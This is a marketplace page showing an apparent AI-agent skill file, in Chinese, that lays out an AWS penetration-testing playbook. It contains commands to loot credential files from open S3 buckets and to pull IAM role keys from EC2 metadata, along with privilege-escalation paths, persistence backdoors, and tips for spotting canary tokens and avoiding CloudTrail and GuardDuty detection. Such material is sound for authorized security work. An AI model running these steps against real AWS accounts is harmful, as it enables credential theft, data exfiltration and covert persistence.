Skip to main content

aws-pentesting

AWS 云环境渗透测试总体方法论。当目标使用 AWS 云服务、发现 AWS 相关资产(S3 Bucket/EC2 实例/Lambda 函数/CloudFront 分发)、获取 AWS 凭据(AK/SK/Session Token/IAM Role)、或需要对 AWS 环境进行安全评估时使用。提供从未授权枚举到提权、后渗透、持久化的全流程攻击决策树,引导到专项技能深入。覆盖 47+ AWS 服务攻击面

来源信息

仓库
wgpsec/AboutSecurity
最近来源活动
2026年10月24日 13:03
检测到的 SKILL.md 语言
中文
星标
1,807
分支
250

安装方式

默认使用会先检查来源的 Prompt;你也可以切换为直接命令,或下载本地副本。

检查来源文件

决定是否安装前,请先阅读 SKILL.md,以及 SkillsMP 当前展示的配套文件。

文件资源管理器
3 个文件

正在显示 SKILL.md

SKILL.md
来源说明 · 只读预览
name
aws-pentesting
description
AWS 云环境渗透测试总体方法论。当目标使用 AWS 云服务、发现 AWS 相关资产(S3 Bucket/EC2 实例/Lambda 函数/CloudFront 分发)、获取 AWS 凭据(AK/SK/Session Token/IAM Role)、或需要对 AWS 环境进行安全评估时使用。提供从未授权枚举到提权、后渗透、持久化的全流程攻击决策树,引导到专项技能深入。覆盖 47+ AWS 服务攻击面
metadata
{"tags":"aws,amazon,cloud,ec2,s3,lambda,iam,sts,rds,eks,ecs,cloudfront,枚举,提权,后渗透,持久化,AWS渗透,云安全","category":"cloud"}
# AWS 云环境渗透测试方法论 AWS 是全球最大的公有云平台,承载了大量企业核心业务系统。其超过 200 项服务构成了庞大的攻击面——IAM 策略配置错误、S3 Bucket 暴露、EC2 元数据泄露、Lambda 函数 URL 未鉴权等问题在实际评估中频繁出现。本技能以攻击阶段(Phase)为主线,组织从"零凭据"到"完全控制"的完整渗透路径,并通过决策树引导到专项技能深入。 ## 深入参考 识别到具体攻击阶段后,加载对应参考文档获取完整技术细节: - 未授权枚举技术清单(25+ 服务) → 读 [references/unauthenticated-enum.md](references/unauthenticated-enum.md) - 持久化技术清单(22+ 服务) → 读 [references/persistence-techniques.md](references/persistence-techniques.md) ## Phase 0: 攻击面判断 拿到一个 AWS 相关目标后,首先判断当前手持的资产类型,决定进入哪个攻击阶段: ``` 当前持有什么? ├── 无任何凭据 │ ├── 有目标域名/IP → Phase 1(未授权枚举) │ ├── 有 SSRF 漏洞 → 直接打元数据服务获取凭据 → Phase 2 │ └── 仅知道组织名称 → OSINT + Phase 1 │ ├── 有 AWS AK/SK(AKIA 开头 = 长期密钥) │ └── → Phase 2(凭据验证与权限评估) │ ├── 有临时凭据(ASIA 开头 + SessionToken) │ └── → Phase 2(注意:有效期通常 1-12 小时,需快速行动) │ ├── 在 EC2/Lambda/ECS 实例内部 │ └── → 通过元数据获取绑定的 IAM Role 凭据 → Phase 2 │ └── 有 AWS SSO Token / IAM Identity Center 会话 └── → Phase 2(需额外确认可访问的账户和角色) ``` ### AWS 凭据类型速查 | 凭据类型 | 识别特征 | 有效期 | 获取方式 | |---|---|---|---| | 长期 AK/SK | AccessKeyId 以 `AKIA` 开头,20 字符 | 永久(直到轮换) | 控制台创建 / 泄露获取 | | 临时 STS 凭据(AssumeRole / 实例角色) | AccessKeyId 以 `ASIA` 开头 + SessionToken | 15 分钟 ~ 12 小时(Role Chaining 上限 1 小时) | AssumeRole / 实例元数据 | | 临时 STS 凭据(GetSessionToken) | AccessKeyId 以 `ASIA` 开头 + SessionToken | 15 分钟 ~ 36 小时(默认 12 小时;账号根用户上限 1 小时) | IAM 用户调用 GetSessionToken | | IAM Role(实例绑定) | 通过 169.254.169.254 获取 | 自动轮换 | EC2/Lambda/ECS 元数据 | | SSO Token | JSON 格式,含 accessToken 字段 | 通常 8 小时 | `~/.aws/sso/cache/` | | Cognito Token | JWT 格式 Identity/Access Token | 1 小时 | Cognito Identity Pool | ### Canary Token 检测 在使用获取到的凭据前,应先判断是否为蜜罐令牌(Canary Token)。使用蜜罐凭据会立即触发告警。常见特征: - AccessKeyId 与已知蜜罐服务(如 Thinkst Canaries、SpaceCrab)的格式匹配 - 来自异常渠道(故意暴露的配置文件、过于明显的泄露点) - 可通过 `aws sts get-access-key-info --access-key-id AKIA...` 查询所属账户,与已知蜜罐账户比对 ## Phase 1: 未授权枚举 在没有任何 AWS 凭据的情况下,仍可对目标进行大量信息收集。AWS 有 25+ 服务存在未授权枚举面。 ### 高价值枚举目标 | 目标 | 攻击方式 | 价值 | |---|---|---| | S3 Bucket | 域名枚举 + 暴力猜解 + DNS CNAME | 数据泄露、获取凭据文件 | | Lambda Function URL | `https://{id}.lambda-url.{region}.on.aws/` | Web 漏洞利用 | | Cognito User Pool | 尝试注册新用户 | 获取认证身份 → IAM Role | | Cognito Identity Pool | 获取未认证 IAM Role | 直接获取 AWS 凭据 | | EC2 公开端口 | Nmap + 服务指纹 | SSRF → 元数据 → IAM 凭据 | | 公开 AMI / EBS 快照 | `describe-images --executable-users all` | 提取硬编码凭据 | | API Gateway | `https://{id}.execute-api.{region}.amazonaws.com/` | API 漏洞利用 | | CloudFront 分发 | `https://{id}.cloudfront.net` | Origin 发现、缓存投毒 | ### S3 快速枚举流程 ```bash # 1. 检查 Bucket 是否存在并可列出 aws s3 ls s3://TARGET-BUCKET --no-sign-request # 2. 如果可列出,递归下载敏感文件 aws s3 cp s3://TARGET-BUCKET/ ./loot/ --recursive --no-sign-request \ --exclude "*" --include "*.env" --include "*.pem" --include "*.key" \ --include "*credentials*" --include "*config*" # 3. 通过 Bucket 反查 Account ID pip install s3-account-search s3-account-search arn:aws:iam::YOUR_ACCT:role/YOUR_ROLE s3://TARGET-BUCKET ``` ### Cognito 快速利用 ```bash # 如果发现 Identity Pool ID(格式:region:guid),获取未认证凭据 aws cognito-identity get-id --identity-pool-id "us-east-1:xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxx" aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:yyyyy" # 如果发现 User Pool Client ID,尝试注册 aws cognito-idp sign-up --client-id CLIENT_ID --username test@test.com --password 'P@ssw0rd123!' ``` → 完整的 25+ 服务枚举清单,读 [references/unauthenticated-enum.md](references/unauthenticated-enum.md) ## Phase 2: 凭据验证与权限评估 获取凭据后,第一步是验证有效性并评估权限范围。 ### 2.1 凭据验证 ```bash # 身份确认(最基础的检查) aws sts get-caller-identity # 返回示例: # Account: 123456789012 # UserId: AIDA... # Arn: arn:aws:iam::123456789012:user/developer # 判断凭据类型 aws sts get-access-key-info --access-key-id AKIA... ``` ### 2.2 权限枚举 ```bash # 方法一:直接查询 IAM 策略(需要 iam 读权限) aws iam get-user aws iam list-attached-user-policies --user-name USERNAME aws iam list-user-policies --user-name USERNAME # 内联策略名称列表 aws iam get-user-policy --user-name USERNAME --policy-name POLICYNAME aws iam list-groups-for-user --user-name USERNAME # 用户属于哪些组 # 组这一层最容易漏:用户本身没权限,权限挂在组上 aws iam list-groups aws iam list-attached-group-policies --group-name GROUPNAME aws iam list-group-policies --group-name GROUPNAME aws iam get-group-policy --group-name GROUPNAME --policy-name POLICYNAME # 方法二:如果是 Role aws iam list-attached-role-policies --role-name ROLENAME aws iam list-role-policies --role-name ROLENAME # 内联策略名称列表 aws iam get-role-policy --role-name ROLENAME --policy-name POLICYNAME # 方法三:从托管策略全局反查(需要 iam 读权限) aws iam list-policies --scope Local aws iam get-policy --policy-arn POLICYARN # 取 DefaultVersionId aws iam get-policy-version --policy-arn POLICYARN --version-id VID # 方法四:暴力枚举权限(无需 IAM 读权限) # enumerate-iam 工具会尝试调用大量 API 来探测可用权限 pip install enumerate-iam enumerate-iam --access-key AKIA... --secret-key ... ``` ### 2.3 权限评估决策树 ``` 当前身份权限如何? ├── 有 iam:* 或 AdministratorAccess → 已是管理员,直接 Phase 4 ├── 有 iam 读权限但无写权限 → 枚举所有用户/角色/策略,寻找提权路径 → Phase 3 ├── 有特定服务权限(如 s3:*、ec2:*、lambda:*) │ ├── 检查是否有 iam:PassRole → 可能通过 PassRole 提权 → Phase 3 │ ├── 有 ec2:RunInstances + iam:PassRole → EC2 提权 → Phase 3 │ └── 可直接利用当前权限进行后渗透 → Phase 4 └── 权限极低 → 尝试暴力枚举更多权限,或回到 Phase 1 寻找更多入口 ``` 参考 `aws-iam-policy-analysis` 技能,进行深度策略分析 参考 `cloud-iam-audit` 技能,进行跨云 IAM 审计 参考 `cloud-aksk-exploit` 技能,获取 AK/SK 完整利用链 ### 2.4 自动化审计工具 | 工具 | 用途 | 命令 | |---|---|---| | enumerate-iam | 暴力枚举可用权限 | `enumerate-iam --access-key ... --secret-key ...` | | Pacu | AWS 利用框架(枚举+提权+后渗透) | `pacu` → `import_keys` → `exec iam__enum_permissions` | | ScoutSuite | 多云安全审计报告 | `scout aws -p PROFILE` | | Prowler | AWS 安全最佳实践检查 | `prowler aws --profile PROFILE` | | CloudFox | 攻击路径发现 | `cloudfox aws --profile PROFILE all-checks` | | PMapper | IAM 提权路径图分析 | `pmapper --profile PROFILE graph create` | ## Phase 3: 提权 AWS 提权的核心思路:利用当前权限去获取更高权限。AWS 有数百个权限,其中很多组合可以形成提权路径。 ### 常见提权路径概览 | 提权路径 | 关键权限 | 原理 | |---|---|---| | iam:CreatePolicyVersion | 创建新的策略版本 | 新建一个 Admin 权限的策略版本并设为默认 | | iam:AttachUserPolicy / AttachRolePolicy | 附加托管策略 | 直接给自己附加 AdministratorAccess | | iam:PutUserPolicy / PutRolePolicy | 设置内联策略 | 给自己写入 Allow * 策略 | | iam:PassRole + ec2:RunInstances | PassRole 到 EC2 | 启动绑定高权限 Role 的 EC2 实例 | | iam:PassRole + lambda:CreateFunction | PassRole 到 Lambda | 创建绑定高权限 Role 的 Lambda 并执行 | | sts:AssumeRole | 角色链 | 切换到更高权限的 Role | | iam:CreateLoginProfile | 为用户创建控制台密码 | 接管其他用户的控制台访问 | | iam:UpdateAssumeRolePolicy | 修改角色信任策略 | 使自己可以 AssumeRole 到高权限角色 | ### PassRole 提权原理 `iam:PassRole` 是 AWS 提权中最核心的权限之一。它允许用户将一个 IAM Role "传递"给 AWS 服务。如果用户有 `iam:PassRole` 加上某个服务的创建权限(如 `ec2:RunInstances`、`lambda:CreateFunction`),就可以创建一个绑定了高权限 Role 的资源,然后通过该资源间接获得高权限。 ``` 攻击者拥有: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction │ ├─ 1. 创建 Lambda 函数,绑定一个拥有 AdministratorAccess 的 Role ├─ 2. Lambda 代码中调用 IAM API 给攻击者账户添加 Admin 策略 └─ 3. 调用该 Lambda → 攻击者获得管理员权限 ``` 参考 `aws-iam-privesc` 技能,获取 46 个服务的详细提权路径 ## Phase 4: 后渗透与持久化 获得较高权限后,进入后渗透阶段。目标是数据获取、横向移动和建立持久化。 ### 4.1 数据发现与获取 ``` 优先搜索哪些数据源? ├── S3 Bucket → 文档、备份、日志、配置文件 ├── RDS / DynamoDB → 业务数据库 ├── Secrets Manager / Parameter Store → 凭据和配置 ├── EBS 快照 → 挂载后可读取完整文件系统 ├── CloudWatch Logs → 应用日志中的敏感信息 └── CodeCommit → 代码仓库 ``` ### 4.2 横向移动 AWS 环境中的横向移动主要发生在两个维度: **跨账户移动:** - 利用 `OrganizationAccountAccessRole`(管理账户 → 成员账户) - 利用跨账户角色信任策略(`sts:AssumeRole`) - 利用共享资源(S3 Bucket Policy、KMS Key Policy) **跨服务移动:** - EC2 实例上的 SSM Agent → SSM RunCommand 横向到其他实例 - ECS/EKS 任务角色 → 容器逃逸到宿主机 - Lambda 函数角色 → 修改函数代码执行任意操作 ### 4.3 持久化技术概览 | 服务 | 持久化方法 | 隐蔽性 | |---|---|---| | IAM | 创建后门用户/角色、添加 Access Key、修改信任策略 | 低(IAM 变更易被审计) | | Lambda | Layer 后门、Extension 注入、版本/别名权重分配、异步自循环 | 高 | | EC2 | UserData 后门、AMI 后门、SSH Key 注入、安全组连接跟踪 | 中 | | STS | Role Chain Juggling(角色链循环续期) | 高 | | CloudFormation | CDK Bootstrap 信任外部账户 | 中 | | Cognito | 添加外部身份提供商、修改风险配置 | 高 | | SSM | CreateAssociation 定时执行命令 | 中 | | EventBridge | 定时规则触发恶意 Lambda/ECS 任务 | 中 | | SNS/SQS | 添加外部订阅者持续窃取消息 | 高 | | ECR | 仓库策略后门、镜像投毒 | 高 | → 完整的 22+ 服务持久化技术清单,读 [references/persistence-techniques.md](references/persistence-techniques.md) 参考 `aws-post-exploit` 技能,获取数据窃取与横向移动深度指南 ## 附录: AWS 速查 ### 常用 AWS CLI 命令 ```bash # 身份与权限 aws sts get-caller-identity # 当前身份 aws iam get-user # 当前 IAM 用户信息 aws iam list-attached-user-policies --user-name USER # 附加的策略 aws iam list-groups-for-user --user-name USER # 所属组(权限常挂在组上) aws iam list-roles # 列出所有角色 aws organizations list-accounts # 列出组织内所有账户 # 枚举资源 aws s3 ls # 列出所有 S3 Bucket aws ec2 describe-instances --region REGION # 列出 EC2 实例 aws lambda list-functions --region REGION # 列出 Lambda 函数 aws rds describe-db-instances --region REGION # 列出 RDS 实例 aws ec2 describe-security-groups --group-ids SG_ID --region REGION # RDS 可达性:谁能连上来 aws secretsmanager list-secrets --region REGION # 列出 Secrets aws secretsmanager get-secret-value --secret-id SECRET_NAME --region REGION # 读明文 # 凭据操作 aws sts assume-role --role-arn ARN --role-session-name s # 切换角色 aws sts get-session-token --duration-seconds 43200 # 获取临时凭据 # 元数据服务(从 EC2 实例内部) TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data/ # 启动脚本常留明文口令 curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME # 把取到的三元组落成一个独立 profile,避免污染当前环境 aws configure --profile loot # AccessKeyId / SecretAccessKey / SessionToken 依次填入 export AWS_PROFILE=loot aws sts get-caller-identity # 确认已切到实例角色 ``` ### AWS 服务缩写对照表 | 缩写 | 全称 | 攻击面关键词 | |---|---|---| | IAM | Identity and Access Management | 权限策略、角色信任、提权 | | STS | Security Token Service | 临时凭据、AssumeRole | | EC2 | Elastic Compute Cloud | 实例、元数据、安全组、AMI | | S3 | Simple Storage Service | Bucket 策略、ACL、公开访问 | | Lambda | Lambda (Serverless) | 函数 URL、Layer、环境变量 | | RDS | Relational Database Service | 公开访问、快照泄露 | | EKS | Elastic Kubernetes Service | RBAC、ServiceAccount | | ECS | Elastic Container Service | 任务定义、IAM Role | | ECR | Elastic Container Registry | 镜像仓库策略 | | CloudFront | CloudFront (CDN) | Origin 暴露、缓存规则 | | SNS | Simple Notification Service | Topic 策略、订阅者 | | SQS | Simple Queue Service | 队列策略、消息窃取 | | SSM | Systems Manager | RunCommand、Parameter Store | | KMS | Key Management Service | Key Policy、Grant | | Cognito | Cognito | User Pool、Identity Pool | ## 注意事项 **CloudTrail 审计感知:** 几乎所有 AWS API 调用都会被 CloudTrail 记录。以下操作会产生高可见性日志事件: - IAM 变更(CreateUser、AttachPolicy、CreateAccessKey) - 角色切换(AssumeRole) - 跨区域操作 部分 API 在 CloudTrail 中为"数据事件"(如 S3 GetObject),默认不记录但组织可能启用了。 **GuardDuty 检测风险:** GuardDuty 会检测以下行为: - 凭据在异常 IP/区域使用 - EC2 实例与已知恶意 IP 通信 - S3 大规模数据导出 - IAM 异常权限变更 - DNS 隧道流量 **速率限制:** AWS API 有速率限制(通常每秒 5-20 次调用),暴力枚举时需注意节流,否则会触发 ThrottlingException 并可能引起告警。 **区域差异:** AWS 资源是区域隔离的。枚举时需遍历所有启用的区域(`aws ec2 describe-regions`),不要只检查 us-east-1。全球服务(IAM、Route53、CloudFront、STS)不受区域限制。
在 GitHub 查看